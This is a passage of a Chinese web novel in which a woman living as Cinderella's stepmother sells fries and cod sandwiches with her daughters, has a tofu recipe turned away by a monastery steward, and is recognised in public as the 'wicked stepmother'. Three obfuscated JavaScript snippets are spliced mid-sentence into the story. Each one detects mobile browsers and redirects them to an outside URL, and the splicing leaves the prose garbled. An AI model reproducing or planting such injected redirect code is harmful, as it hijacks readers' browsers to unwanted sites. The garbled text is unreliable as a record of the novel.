切菜的功夫，尤兰达一心二用，安排好全天的工作量，一点事没耽误。 机械的动作根本用不到什么刀工，三两下，三大盆土豆条准备完毕。她甩甩发酸的手腕，开始切第四盆。 除了累手这一点，尤兰达越发觉得只做薯条是明智决定。 不像薯饼，要提前煮要提前捣泥，再铺平切块初炸定型，麻烦着呢。 预估忙碌一上午的备菜，总共花费了一个半小时全部搞定，加上低温初炸薯条定型，总共也才过去两个半小时。 临近中午，只剩收尾工作的尤兰达难得有了闲情逸致，决定折腾一下，做鳕鱼排三明治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215431|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 没错，星期六依然是当地人所谓的“Fish Days”，与星期三、五形成每周常规的“三日斋”。 在黑森王国，星期三的斋戒日最为宽松，可斋可不斋。斋戒了别人当你虔诚，不斋戒也不会有人说什么。 星期六第二宽松，可以吃鱼蛋奶和猪血。 星期五则必须严格斋戒，禁食热血肉类，部分地区严苛到规定一天一顿正餐，并且只准吃面包和淡啤酒。 尤兰达可不敢当着小老外的面亵渎上帝，取来昨晚吃剩的半条鳕鱼，切成厚薄均匀的片儿，抹上盐和香料腌制。 另起一炉小火，干锅烘炒燕麦，至微黄冒出香味，倒进石臼里粗磨几圈，代替面包糠使用。 黑麦面包紧密干硬，难以成糠，白面包合适，不过略显奢侈。燕麦刚刚好，便宜又随处可见。 一碗蛋液、一碗燕麦碎在流理桌上排开，鳕鱼片也腌入味了。 夹起鱼片浸入蛋液打个滚，再丢进燕麦碎里裹上一层外衣，直接滑进油锅开炸。 油花翻腾，吸引了西芙拉和菲奥娜的心神，两人一左一右守着灶台，眼睛一眨不眨地瞅了半天，对尤兰达的敬佩之情快要溢出来。 昨晚的香煎鳕鱼以为够顶了，哪里想到，鳕鱼还能这么吃。 接下来，当尤兰达开始煎荷包蛋、烫卷心菜，加热面包片，菲奥娜直接失语。 她终于看出名堂了，妈妈在做三明治呢，步骤一模一样，她绝对不会看错。 菲奥娜暗暗吃惊，鳕鱼也能做成三明治？ 和菲奥娜满眼交杂着的崇拜和困惑不同，西芙拉攥紧双手，心情激荡。 “妈妈，我想，我已经学会怎么做三明治了。” 过去她总觉得，食物嘛，煮熟就好，能有什么难的。 旁观几天尤兰达做饭流程，听她讲解其中门道，西芙拉收起了轻视。 烹饪之道，有许多她不了解的技巧。 有意思，想学。 越看，西芙拉越手痒，这可比单纯炖煮食物有挑战。 尤兰达一挑眉，目光划过蹭过来的大女儿，透出几分兴致。 甭管她是眼睛会了还是脑子会了，西芙拉透露出的愿意尝试的信号，对尤兰达来说是个好消息。 有人愿意学、愿意下厨，尤兰达十分乐意培养。以后一日三餐有人帮忙分担，饭馆正式经营后，可靠的帮手也有了，一举数得的事。 尤兰达鼓励道：“我们小西真厉害，不愧是妈妈的女儿。” 西芙拉心里鼓胀胀，恨不得立刻露一手证明自己。 尤兰达连忙婉拒，“傻孩子，厨师学徒要从洗菜切菜学起的，想碰锅，你还得多学学呢。” 西芙拉泄气撇嘴，洗菜备菜什么的，太麻烦了。 她瞅了瞅滋滋冒油的陶锅，想亲自上手试试的念头怎么也止不住。 菲奥娜眼珠子滴溜溜转了一圈，把差点脱口而出的“我也会我也要做饭”吞回去。 做饭好累啊，老老实实等饭吃吧。 鳕鱼排三明治出锅，软乎乎、香喷喷，菲奥娜一接下，急不可待的咔滋一口咬下去。 同样是香脆外壳包裹鲜嫩内里，鳕鱼排的脆、嫩、多汁、清甜，口感丰富，和薯条、薯饼、培根比起来，竟难分高下。 咔滋咔滋，菲奥娜连咬好几口，取代培根组成的新口味三明治，味道一点不输培根三明治 菲奥娜对比半天，已经选不出心中最佳。 她一边为食物能有如此多的口感与花样而惊异，一边为尤兰达的精湛厨艺和层出不穷的新点子而赞叹。 早午饭一人一块三明治，多做的几块用干净麻布包起来，留着摆摊时饿了垫肚子。 等玉米水煮开，灌满皮囊，母女三人推上满载的推车，提前一小时出发。 路过修道院石桥街，留两个孩子守住推车稍等。尤兰达整了整衣裙，带上羊皮纸卷，来到修道院的大门前。 “咚咚咚——” 19.第 19 章 “什么事？” 敲门声回荡了片刻，橡木门上开了一扇小门，布满皱纹的脸从里面探出来，一双审慎的蓝眼睛上下扫量。 尤兰达微微欠身，展示手上的羊皮纸，“尊敬的修士先生，日前我与贵院的修士有过约定，今日前来呈递一份关于食物的制作方法。” 蓝眼睛扫过她的脸，停留一会，又落在羊皮纸卷上，略一颔首：“稍候。” 小窗“啪”地关上，脚步声远去。 尤兰达立在台阶上，听门后隐约的交谈，心里不免打鼓。 好在没过多久，脚步声再次响起。 “吱呀——” 厚重的橡木门从里面拉开，老修士的态度客气些许，“请进吧，夫人，随我来。” 这是尤兰达第一次踏进修道院内部。眼前景象，和网上看过的黑白照片有八九分相似。 庭院深阔，脚下石板路笔直延伸。两侧是石砌的房屋，灰扑扑的墙面爬着暗绿的苔痕，窄小窗户透出微弱的光。 越深入，越静谧，街上的喧闹听不见一点，修道院仿佛遗世独立。 要不是时不时有穿着袍子的修士和俗家弟子穿过小道和长廊，尤兰达真怀疑自己闯进了吸血鬼老巢。 可那些路过的人也奇奇怪怪，不会说话一样，彼此间全靠眼神示意，比划手势完成交流。 尤兰达踮起脚紧跟上老修士的步伐，深怕打扰沉静氛围。 他领着她往修道院西侧走去，穿过一道拱门，又绕过一座爬满藤蔓的石砌小楼。 似乎是深入修道院的祷告、生活区，与先前见到的景象截然不同。 随便往哪张望，总能瞧见数不清的杂役拎着水桶和抹布。 他们弯腰躬身刷洗石阶，用木棍剔出墙缝上积年的青苔，草木灰水擦洗墙壁和窗户，忙得热火朝天。 “兄弟，我们真该去打扫屋顶了，主教大人不会想看到盖满鸽子粪的瓦片的。” “好吧，我承认你说的对，可是主教大人下周才会来，我们没必要这么着急。” 即将穿过这一片区域时，尤兰达的耳朵捕捉到几句短促的争论。 没等她多听一会，老修士忽然停下，示意她在门外稍候，独自迈进前方半敞的院门。 尤兰达抬头看去，院门旁挂着一块木牌，上面刻着“司务院”几个单词。 她悄悄往院子里瞄一眼。 院子正中，腰间挂着一大串钥匙的司务长修士眉头紧锁，嘴里念念有词，略显焦虑。 “……这些手抄食谱没有半点新意，十岁小孩都知道的、毫无价值的东西，我该怎么向主教大人汇报呢？” “兄弟，还有七天时间，让我看到你们诚意，好吗？”他的声音不高，面容慈和微笑，散发的压迫感却让人难以招架。 侍立两旁的年轻修士心如死灰，大气不敢出。 他们已经很努力的淘换食谱秘方了，可平民手里哪有什么珍贵的技艺？ 贵族家里倒是有，可人家不需要和修道院交换。 这差事，根本是无解的死局。 “司务长兄弟？”老修士见司务长暂停发言，适时出声呼唤。 埃德蒙头也不抬：“什么事？” 老修士恭敬上前半步：“司务长兄弟，这位夫人说有珍贵的食物制作技艺。” 话落，一旁侍立的年轻修士猛地抬头，待看清老修士口中的夫人，眼睛闪了闪。 正是前些天与他问询的黑发夫人。 米歇尔连忙低声补充：“司务长兄弟，这就是我提过的那位费尔南多夫人。她说，她掌握了把豆子煮得比肉鲜美的方法。” 埃德蒙手中的笔顿了一顿，终于抬起头，目光越过老修士，落在门外的尤兰达身上。 他不着痕迹打量一番：气质出众，身形丰腴，眉目间透着几分养尊处优的从容。 显然，这位费尔南多夫人来自富贵家庭，只是一身粗陋的麻布裙，与她表现出来的气度不太相称。 “豆子……”他缓缓重复，“比肉鲜美？” 上帝啊，听起来可真荒谬。 三岁幼童都知道，豆子就是豆子，永远不可能比肉好。 他见过太多不自量力的农妇了，愚蠢、肤浅、贪婪，把迷信当秘方，把偶然当神迹。 上个月，有人声称能用荨麻做出蜂蜜的味道，结果呢？烂泥一滩，洒进猪圈野猪都不屑一顾。 前几天，大言不惭说自己掌握了烹饪菌菇技巧的矮人，更可笑，实际连菌菇有没有毒都无法分辨清楚。 “兄弟，请夫人进来吧。” 埃德蒙扯出一个礼貌疏离的淡笑，灰蓝色的眼睛里全是不以为然。 尤兰达努力扮演出虔诚谦虚的姿态，捧上羊皮纸： “感谢司务长修士，豆腐的制作方法来源与我的兄长，他们常年在外走商，经常和外族人打交道，总能淘到一些新奇事物，比如食谱。” “豆腐来源于古老的东方，浸泡、磨浆、煮沸、点卤，然后——” “够了。” 埃德蒙接过羊皮纸，目光粗略一扫，便抬手打断了她的讲解。 纸上有文字和插图，浸泡的豆子、石磨、煮沸的锅、点卤的步骤……生动形象的展示了豆腐的制作过程，瞧着挺像那么回事，令人耳目一新。 也正因生动形象，当埃德蒙瞧见，所谓的东方秘方，不过是选出鹰嘴豆泡一泡、捣一捣，就敢胆大包天的吹嘘“比肉鲜美”，无异于挑衅他的智商。 牛皮吹到这份上，斋戒日听着就破戒。 埃德蒙原以为能收集到什么了不起的秘方，就这？ 他果然不该对找上门的主妇抱有什么期待，太荒唐了，根本是浪费时间。 “夫人，修道院需要可靠的、经过验证的方法，不是……”埃德蒙随手退回羊皮纸，纹丝不动的温和笑脸难掩语气里的轻蔑：“不是主妇的幻想。” “我很遗憾，这样的无用小把戏，可换不来上帝的仁慈。” 尤兰达敏锐察觉司务长bro的轻视，拧了拧眉心。 埃德蒙不打算多说半个字，生怕又浪费自己宝贵的时间，“愿主保佑你，门在你身后。” 他甚至不等尤兰达走远，侧身与老修士吩咐，“兄弟，我很忙，主教阁下即将来视察，你知道的，这可是大事。 再有昏了头的主妇找来，哪怕她会做传说的杏仁膏圣像，也一律不接待。” 老修士羞愧躬身，念叨一句：主啊，请原谅我的失责。 昏了头的尤兰达没有争辩，跟着老修士原路返回。 两道身影走远，司务长埃德蒙摇摇头，转身回室内。 愁啊，他该如何收集到更多有效且可靠的秘方呢？ 输给女修院实在没面子，主教阁下肯定不会同意他晋升副院长。 - 以为最稳妥的一环，反而谈崩。 便宜的海鲜暂时买不到了。 尤兰达并不气馁，这家修道院不成，换别家就是，顶多费点功夫打听。 豆腐不成，她换温室种植、改良印刷术、改良化肥，甚至她最擅长的炒菜炖菜食谱，还有蚝油酱油技艺。 她多得是能拿出手的东西。 “妈妈，为什么不考虑一下威廉姆子爵？” 西芙拉知道妈妈要来修道院献秘方，满心以为能带回好消息。她等了好久，却见羊皮纸原封不动的塞在包里，追问之下才知道，修道院瞧不上妈妈的秘方。 短短数日，尝过尤兰达手艺的西芙拉坚信这不是妈妈的问题。 妈妈的食谱绝对不会错。 可她不能说修道院的不对。 既然修道院不识货，拿去和贵族、商会交换，也是一样的。 威廉姆子爵一家住在幸福小镇隔壁的一块小领地，以前会在尼尔森手里买香料，姑且算熟识。 “和贵族交换？这太不明智了，宝贝。” 尤兰达摇摇头，想都没想就否了她的提议。 先不说威廉姆子爵和尼尔森有来往，她冒然去合作，必然引起尼尔森的注意。 她们可是把尼尔森家搬空了的，被前夫找到不是什么好事。 再说威廉姆子爵，爵位虽小，到底是正经贵族。和贵族打交道，好处固然有，但弊远大于利。 就说豆腐制作方法，献给贵族后，这项技术就被贵族彻底垄断，其他人不能私自生产、商用，包括献上技术的尤兰达本人。 和商会、工会交易也是同理，技术给了人家，就彻底归人家了。 她想吃豆腐？只能掏钱买。 和修道院交易则完全不同，他们虽也为垄断知识和技术，却并不限制使用。 随便尤兰达自家磨点豆腐吃，还是摆摊卖豆腐赚钱，只要不把技术卖给第三方，都随她。 话又说回来，修道院收集食谱、秘方可不是让它们吃灰的，他们要投入研究、生产，要“知识”变成东西，再变成财富。 生产出的东西主要有三种用途，一部分供给修士日常吃用，一部分卖给贵族和商人赚钱，最后一部分用于布施贫民，积攒功德。 凭借献秘方、食谱的这点面子，换取优惠采购豆腐的名额，尤兰达还是挺有把握的。 届时，又不用出力，又能吃到豆腐，又能和修道院搭上关系，一举三得。 可惜今天没能拿下圣约翰修道院。 - 路上耽误了一会，她们赶去工匠街时果然有点晚，好位置早被占的干干净净。 尤兰达找了个中不溜秋的摊位，趁着街上人还不算多，抓紧时间生火热油。 蜂窝煤刚升起一缕烟，油块刚显出一丝融化迹象，小摊前出乎意料的聚集了不少等待的客人。 尤兰达打眼一瞧，都很面熟。 有回头客了，哈哈。 经过昨天一下午的开拓，工匠街冒出一个新鲜吃食叫薯条的消息，插了翅膀一样飞遍街巷角角落落。 忍不住馋的食客们，吃完后一直观察自己身体状态。没有跑厕所拉肚子，没有呕吐不止，也没有头晕长疹子……一直到今天天亮，都未见哪里不适， 薯条，无毒，可吃。 得出这一结论，上午上工时，曾经光顾过小吃摊的食客们自发当起宣传员，分享“重大发现”。 无他，到处是煮豆子、炖麦粥、干巴面包的美食地狱，薯条薯饼的横空出世，不仅俘获了大家的胃，更为日复一日的、平淡无波的生活，增添了一些话题。 银器坊—— “听说了吗？有种小吃叫薯条，好吃不说，还不会吃坏肚子……”一身灰麻衣服的学徒工系紧围裙，趁着空闲和同为学徒的棕发男孩搭话。 “薯条？什么薯条？”棕发学徒一脸茫然。 “你没听过？那你有口福了，今天跟着我走。” 铁匠铺—— “嘿，杰克，今天一起买薯条吗？” 烧火的杂役摸了摸瘪瘪的肚子，靠着回味薯饼的滋味，吞了半天口水，忍不住和一旁运水的杂役咬耳朵。 杂役杰克挠挠头，他今天已经第二次听人说到薯条了，“我很乐意，不过，你得先告诉我那是什么。” “你还不知道薯条？来吧，听我说……” 磨坊—— “师傅，街上新出一种叫薯条的东西，等会给你带薯条好不好？”小学徒数了数铜币，刚好购买三份薯条，美滋滋开口。 师傅弯腰擦洗石磨，眼皮子都不抬，“薯条？什么奇奇怪怪的东西，不吃。你也别吃，小心又去修道院找医生。” 小学徒跺脚：“师傅，薯条可不是奇怪的东西……” …… 蓝天白云下，类似的场景不停在各大商铺里上演。 于是，尤兰达一出摊，就让街上瞎溜达的食客们逮个正着，呼朋唤友前来排队。 转眼间，小吃摊前大排长队。 虽然队伍不怎么齐整，惹来邻居怨声载道。 尤兰达笑容灿烂，仿佛瞧见他们头顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223899|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯狂跳动“+7”字样。 都是钱啊。 根据快乐守恒定律，有人高兴了，有人就高兴不起来。 除了街上被抢生意的小摊贩，此刻最不高兴的，当属菲奥娜。 本来工作就烦，还要不停数铜币，更烦了。 她望了望车板上的钱罐子，今天出门前，尤兰达特意换了个更大的陶罐，说“免得装不下”。 菲奥娜眼前阵阵发黑，装满这一罐，她得数多久啊。 她拽了拽西芙拉的袖子，压低声音：“今天你收钱，我送薯条。” 西芙拉立刻摇头，往后退半步，小声和妹妹嘀咕：“我不要。他们身上味儿太重了，你闻得惯你收。” “你闻不惯我还闻得惯？” 两人你推我让、僵持不下，第一位客人已经举着铜币凑了过来。 “来一份薯条！” 话音落下的瞬间，两只手不约而同地伸了出去。 菲奥娜和西芙拉对视一眼，又飞快地移开目光，默契地假装什么都没发生。 怎么说呢，数钱虽然烦，但收钱爽啊。 尤兰达没空管她们的小心思，她太忙了。 客人报出要几份，她要飞快接话报出总价，方便客人也方便菲奥娜。 同时，她还要记住客人的样貌，避免递薯条时闹出张冠李戴的乱子。 最要命的，动嘴的时候手里也不能停。 薯条在家里经过初炸，复炸便不需要太久，一两分钟即可出锅，她必须注意着点火候，炸太浅不够酥脆，炸过了影响品质。 刚开始有些手忙脚乱，后来渐渐找到节奏，母女三人完美配合。 尤兰达炸薯条报价格，菲奥娜负责接钱数钱，西芙拉接过淋酱的活。 第一次跟着出摊，西芙拉动作生疏，也摆不出笑脸，僵硬得临时抓来充数的学徒。 好在没人挑剔什么，大家接过薯条抢先报了需求： “给我多来点红的！” “我要黄的，就那个芥末的！” “红的黄的都来点……？” 根本用不着西芙拉开口问，只需要照做。紧张归紧张，倒是没出什么乱子 - 托马斯被亨利连拖带拽地拉进工匠街时，脸上写满了不情愿。 他好不容易打听到一家新开的餐馆，正准备偷懒去光顾一下，尝试寻找让他惦记好几天的培根味。 时间紧张，他想早点赶过去。 谁知道外出送订单的时候，迎面撞上了亨利，亨利二话不说，非要拉着他来尝尝什么薯条。 亨利自己都没吃过呢，也不知道从哪听来的消息，轻易相信了，口口声声说薯条多么美味，多么稀奇。 托马斯毫无兴趣，他现在满脑子培根。 土豆切成条就比培根好吃了吗？显然不可能。 为了找到那种特殊做法的培根，平时抠抠搜搜省钱的他，已经为此花出去大几十枚铜币。 他运气不好，别说找到心心念念的培根了，连相似的气味都再没闻到过。 托马斯很伤心，他只是想吃一口好吃的培根啊。 走神工夫，亨利已经拉着他挤进小摊前的队伍，激动搓手。 “天呐，托马斯快看，这就是薯条，你没吃过对吗？我们一起尝尝吧。” 托马斯敬谢不敏，后退半步。 他讨厌土豆，切成条的土豆也不喜欢。 该死的土豆，他从小吃到大，顿顿不离，真是够够的了。 周围不断涌来新食客，挤得他们站都站不稳，托马斯扯了扯亨利的袖子，提出去外围等他。 亨利无所谓耸肩，“好吧，爱吃培根的托马斯，你当然看不上土豆了。” 托马斯没理会同伴的挖苦，奋力钻出人群，远离那片充满汗酸味的空气。 “嘿，看着点，小子。” 他刚喘口气，退后时不小心撞上了一位刚从马车下来的夫人。 夫人穿着整齐精致，衣料的配色不算鲜亮，却透着股考究的沉稳。 凭经验判断，大概是哪家大户的管家，或高级女仆。 托马斯得罪不起，连忙垂下眼，恭顺道了声歉。 夫人扫了一眼四周乱糟糟的景象，无奈地摇摇头，没再追究，径直朝小吃摊走去。 她数出铜币递给摊边收钱的少女，声音不高，却清晰传进托马斯耳朵里： “两份薯条。” 托马斯收回视线，喉咙忽然有些发干。 瞧啊，大户人家的仆人都来买薯条了，那玩意儿真有那么好吃？ 他忍不住又往人群里瞅了一眼，心里有根羽毛在挠。 挤进去，打脸。 留下来，心痒。 托马斯咬了咬牙，强迫自己收回目光。 ——薯条不好吃 ——薯条比不过培根 ——让他们闻到那种培根味，他们绝对不会再吃什么薯条 托马斯一番复杂心理活动无人知，因为排队等着买薯条的客人太多、太吵了。 刚刚那位夫人满脸不高兴的从人堆里挤出来，捧着热乎薯条，蘸着酱汁尝了一口。 托马斯悄悄打量着，可惜人来人往挡住了视线，瞧不清夫人具体神色。 他只能瞧见她咬下第一口后，不一会便加快进食，一根接一根，蘸着红酱往嘴里送。 或许……还不错？ 念头刚落，夫人已经转过身，重新挤进队伍里。 然后，他听见一个中气十足的声音从人群深处炸开：“请给我十份薯条。” 十份？ 尤兰达挥动长筷的手顿了顿。 今天开摊还不到半小时，第一笔大单子就这么来了？ 她仔细记住夫人的脸，正准备点头应下，不知道怎么了，四目相对后，对方神情怔愣，随即瞪大双眼。 “你——” 脱口而出的拔高嗓音尖锐刺耳： “你是那个恶毒继母？！” 20.第 20 章 尤兰达茫然了不止一瞬。 她经常忘记自己穿成别人的妈，同时还兼任恶毒后妈的角色。 对上年轻夫人一脸吃到瓜的惊愕，尤兰达迟钝意识到自己就是对方口中的“恶毒继母”。 张嘴闭嘴恶毒继母，你礼貌吗？ 食客熙熙攘攘，离得近的几人听清了呼声，惊疑不定地望向尤兰达。 “恶毒继母？听起来可不像什么好话。” “善良的薯条夫人是恶毒继母？不可能吧？” 议论渐起，听到周围的私语，年轻夫人自知失态，深吸气，勉强扯出笑容，“薯条我……” 尤兰达微笑伸手：“七十铜币，夫人。” 年轻夫人卡壳了，后半句的“不要了”几个字怎么也吐不出。 “嘿，夫人你要买薯条吗？请不要耽误我的时间好吗？” “不买就离开吧，我们要买。” 越来越多食客催促，年轻夫人直直望着幽邃的绿眸，抿紧唇角低头数铜币。 “七十铜币，给你。”沉甸甸的铜币一把塞过去，话音急促。 菲奥娜戒备瞪视，年轻夫人挺直脊背，装作不在意。 实际上嘛……她心里弹幕漫天飞！ 上帝啊，王妃的母亲竟然在工匠街摆摊，说出去谁信啊。 上回见到费尔南多夫人时，她打扮的富丽堂皇，即便被皇宫守卫拦下，也不见多狼狈。 上上回、上上上回，在王子接二连三举办的舞会上，当属费尔南多夫人风头最盛。 没别的，她的女儿们实在漂亮活泼，不少夫人们打赌，她的两个女儿都能嫁个不错的人家。 事实也确实如此，费尔南多夫人的小女儿，一个从未参加过舞会的美丽女孩，一朝飞上枝头成了新王妃。 只可惜费尔南多夫人，没能住进皇宫享受享受，就被王妃的父亲赶出了家门。 这事发生在皇宫门口，所有参宴的贵族、富豪都听说了消息。宴会上，王妃的家事就成了众人绕不开的话题。 年轻夫人端详朴素的尤兰达，和几天前见过的富豪夫人做对比，简直不敢相信她们是同一人。 “十份薯条好了，夫人是用葡萄叶带走，还是装进食盒里？酱汁选哪种？” 尤兰达无视了对方八卦的视线，公事公办的询问。 年轻夫人从自己的思绪中抽回神，含糊又结巴的说：“啊？哦，薯条啊，装食盒里，一半红酱，一半黄酱。” 天呐天呐，她必须记住眼前的一切，回去好好和女主人分享。 不过……年轻夫人蹙了蹙眉，神情有几分迟疑。 这要是说给女主人听，小主人偷偷派她外出买小吃的事情就瞒不住了，小主人会挨揍的。 可怜的小主人，他一定不知道，自己好奇的薯条会出自“恶毒继母”的手。 话又说回来，薯条还是好吃的。 唉，真是穷出手艺来了。 年轻夫人接过食盒，步履匆匆的离开。临上马车前，回身看到越来越多人包围的小吃摊，她同情地摇摇头。 可怜的费尔南多，好好的富商夫人，怎么沦落到街头卖小吃了呢，尼尔森老爷着实狠心。 希望她好好忏悔吧，为昔日对王妃的苛待赎罪。 家里出了个王妃，多好的事啊，但凡她对继女和善一些，如今过好日子的就是她了。 年轻夫人一边感叹一边抑制不住的兴奋，吃过的大瓜有了后续，说出去一定惊呆小姐妹。 马车驶走，空出的位置很快被陆续赶来的食客挤占。 有好事人追问：“薯条夫人，你认识刚刚那位夫人？” “是啊，她还说你是什么恶毒继母，要我说，你那么善良和蔼，一定不是那种人。” 尤兰达嘴角抽搐，不知道说什么好。 薯条夫人？和蔼？这都什么跟什么。 尤兰达：“不认识，大概是认错人了吧……您的薯条，小心烫。” 食客接过薯条，美滋滋享受起来，无心闲聊。 一波又一波客人来来去去，年轻夫人带来的水花很快淹没于人潮中。 菲奥娜和西芙拉却一直紧绷着小脸，思绪万千，心情糟透了。 皇城里怎么会有认识她们的人？还偏偏被撞见了？ 两人心里清楚得很，不出一天，母女三人在工匠街摆摊的消息，就会长了翅膀似的传给所有认识她们的人。 太丢脸了！ 菲奥娜年纪小，沉不住气，趁着一波客人刚散去，她悄悄扯了扯尤兰达的裙子。 “妈妈，我们去别的地方摆摊，好吗？” 她怕，怕曾经的玩伴寻来，怕她们挤在摊前交头接耳，怕刺耳的嘲笑声钻进耳朵。 瞧瞧她们现在穿的是什么？是灰姑娘穿过的旧裙子。 做的是什么？是她们从前正眼都不瞧一下的粗活。 她们还整日进出工匠街，和满身汗臭、粗鄙无礼的匠人打交道。 一想到自己可能会被玩伴们嘲讽羞辱，菲奥娜恨不得当场晕倒。 然而，她们已经尝试过赚钱分红的甜头，真要撇下小吃摊生意，她们舍不得。 万分纠结后，她咬咬牙，想出一个折中的办法，换地方。 好歹换个没那么多熟人、没那么丢脸的地方。 女孩蓝汪汪的眼睛里盛满了忧虑，尤兰达心里一软。 她放下筷子，拍拍女孩发顶，“傻孩子，如果你的担心成真，那代表着有人免费给我们打广告。这么好的事，怎么能错过？” 菲奥娜愣住了，眨眨眼，像是没听懂。 但她明白了一点，尤兰达不打算换地方。 尤兰达的目光在两个女儿脸上逡巡了一圈，声音温和，“下次摆摊，妈妈一个人来。” 她穿来时26岁，也经历过面子比天大的少女时期，太明白年轻女孩有多在意落在自己身上的目光，一丁点风吹草动都能掀起惊涛骇浪。 对着陌生人没什么，顶多不体面，有钱就好克服。对着见证过她们风光的小伙伴，暴露如今落魄的生活，那就是另一番滋味了。 又不是万不得已的时候，尤兰达很愿意维护女孩们敏感的、脆弱的自尊。 小女孩脸皮薄，正常，她脸皮够厚啊。 两个女孩齐齐抬头。 “你们可以留在家睡懒觉，或者去修道院街逛逛，买买蝴蝶结。当然，如果能帮妈妈采买食材就更好了。” 她抄起长筷，翻动油锅里金黄翻滚的薯条，“等妈妈收摊回来，咱们一起数钱。” 语气寻常，神情寻常，好像即将扑面而来的、刺耳的议论和嘲笑，根本不值一提。 西芙拉和菲奥娜都没吱声，惶急的心像被大手稳稳托住。 “妈妈，你真好。”西芙拉小声说。 以前，为了能让姐妹俩嫁入体面的富贵人家，妈妈总逼着她们做不喜欢的事，说违心的话，丝毫不在意她们会不会被人耻笑。 妈妈气疯以后大变样，鲜少提及婚嫁，也不再催促她们讨好英俊有钱的男人。 希望妈妈继续疯下去……西芙拉垂下眼，由衷祈祷。 “我要三份薯条，多点番茄酱。” “……多少铜币？这么多够吗？” “薯条夫人，今天没有薯饼了吗？” 新客人涌来，真少女不可言说的心事瞬间冲得七零八落，小吃摊第N次陷入忙碌。 还没到工匠街最热闹的时间段，四大盆薯条一下子干掉三盆。 尤兰达掀开隔脏的麻布，最后一盆薯条端出来，自己都有点反应不过来。 昨天这个时候，似乎才渐入佳境？今天倒好，直接进入尾声。 如常出行的匠人莫名其妙成了来迟的，挤到摊子前一看还有剩，直呼“感谢上帝”“幸运女神保佑”，然后熟门熟路掏钱，一买就是两份起步。 尤兰达认出了这几张脸，昨天就属他们谨慎，围着小摊瞅了半天，磨磨蹭蹭好久才肯买走一份尝鲜。 今天还挺大方。 “你好，铁匠莱德，最后一份薯条属于你，下次早点来哦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233050|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁匠莱德欣喜又遗憾，他想买三份的，一份不够塞牙缝啊。不过他来晚了，能买到一份已经是他运气好。 天知道怎么回事，一上午的时间，工匠街卖薯条的消息传遍了附近的街巷。 今天涌来的生面孔比老主顾还多，一个个揣着铜币想一探究竟。 “没有了吗？”刚挤到前排的学徒望着空盆，满脸懊丧，“唉，还是晚了……” “噢——怎么会这样，我已经很努力赶来了。”穿着围裙的年轻匠人跺了跺脚。 “薯条夫人，下次请多准备点，我很喜欢你做的薯条，太美味了。”大嗓门的夫人隔着人群朝她喊话。 铁匠莱德骄傲昂头，捧着薯条嚷嚷：“让一让咯，新出锅的薯条，烫人呦。” 不出意外，故意吧唧嘴的莱德收获了周围十几个顾客的白眼。 铁匠莱德浑不在意，哈哈笑，“番茄酱真好吃。”大步流星地走远。 尤兰达服了，大胡子铁匠看着是个粗犷狠人，实则贱兮兮。 “抱歉了各位，下次赶早吧。”她朝剩下的客人歉然一笑。 刚走近的几位客人闻言，肩膀一垮开始叹气，叹完，扭身询问旁边的果酱馅饼价格。 吃不到薯条，吃别的又有什么区别呢，反正来都来了。 这么想的客人不在少数，可让两旁眼红了几个小时的邻居们乐坏了。 出摊到现在，他们净看尤兰达“起高楼”了，摊子前的客人根本没有断过。 每一回瞥眼打量，母女三人都忙得脚不沾地。 再面对自家摊子前的三两只散客，面子里子都没了。 他们不禁盘算起来，要不要下次也贴着薯条夫人摆摊呢？ 别的不说，单冲这人流量，太香了。往常熬一下午，到天色擦黑才能卖出去百来份的饼子，靠着薯条吸引来的人流量，摆摊没多久，轻轻松松卖出去一半多。 邻居们又酸又妒，羡慕地望着尤兰达慢悠悠收摊。 往日此时，小吃生意正值高峰，真不知道人家那四大盆的东西怎么就唰唰唰售卖一空，太快了。 瞧啊，她们还有空坐下来吃点东西垫垫肚子，多气人啊。 咦……她们吃的什么？ “妈妈，这就卖完了？” 西芙拉嚼着三明治，问出了和大家相差无几的疑惑。 她环顾四周，街上热热闹闹，许多匠人外出摸鱼，小吃生意明显变好。 唯独自家与众不同，瞧着……竟比昨日还要早收摊。 “嗯，卖完了，这就是提高效率的优势。” 如果没有提前初炸定型，现场制作起码多耽误一两个小时。而且今天没有多费心调火势，又节省了时间。 尤兰达粗略估算过，从出摊到收摊，满打满算半下午的工夫，她们少说卖出去200份薯条。 200份，这数字放哪儿都了不得。 街上任意一家餐馆、酒坊，只要生意不太差、厨师做饭不难吃，一顿早午饭，大约也就卖个200来份。 小吃摊的话，只有碰到圣米迦勒节那样的大节日，才有机会达到，平日对半砍。 当然，这个数据的真实性有待考据。 毕竟，纸张很贵，文盲很多，店家老老实实、一笔不落记账的不多见。 加上当下的餐馆酒馆喜欢做大锅饭，压根不存在明确的“份”的概念，最多囫囵计算出一天营业所需食材的重量和价格。 